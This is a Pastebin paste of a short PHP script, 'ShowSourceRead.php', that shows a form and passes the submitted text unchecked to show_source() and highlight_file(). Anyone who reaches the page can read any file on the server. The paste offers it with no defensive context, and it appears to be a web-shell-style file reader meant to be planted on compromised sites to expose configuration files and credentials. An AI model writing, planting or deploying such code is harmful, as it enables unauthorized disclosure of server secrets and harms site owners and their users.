Advertisement
parkdream1

ShowSourceRead.php

Mar 1st, 2012
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.94 KB | None | 0 0
  1.  
  2. <html>
  3. </td></tr></table><form method='POST' enctype='multipart/form-data' >
  4. </td></tr></table><form method='POST' enctype='multipart/form-data' >
  5. <br>
  6. <b>show_source  : </b><input type='text' name='show' value='' size='59' style='color: #ffffff; border: 1px dotted red; background-color: #000000'></p>
  7. <b>highlight_file : </b><input type='text' name='high' value='' size='59' style='color: #ffffff; border: 1px dotted #ffffff; background-color: #000000'></p>
  8. <input type='submit''  value='Read'  style='color: red; border: 1px dotted orange; background-color: green'></form</p>
  9. </form</p>
  10. </html>
  11. <?php
  12. if(empty($_POST['show']))
  13. {
  14. }
  15. else
  16. {
  17. $s = $_POST['show'];
  18. echo "<b><h1><font size='4' color='red'>show_source</font></h1>";
  19. $show = show_source($s);
  20. }
  21. if(empty($_POST['high']))
  22. {
  23. }
  24. else
  25. {
  26. $h = $_POST['high'];
  27. echo "<b><h1><font size='4' color='green'>highlight_file</font></h1>";
  28. echo "<br>";
  29. $high = highlight_file($h);
  30. }
  31. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement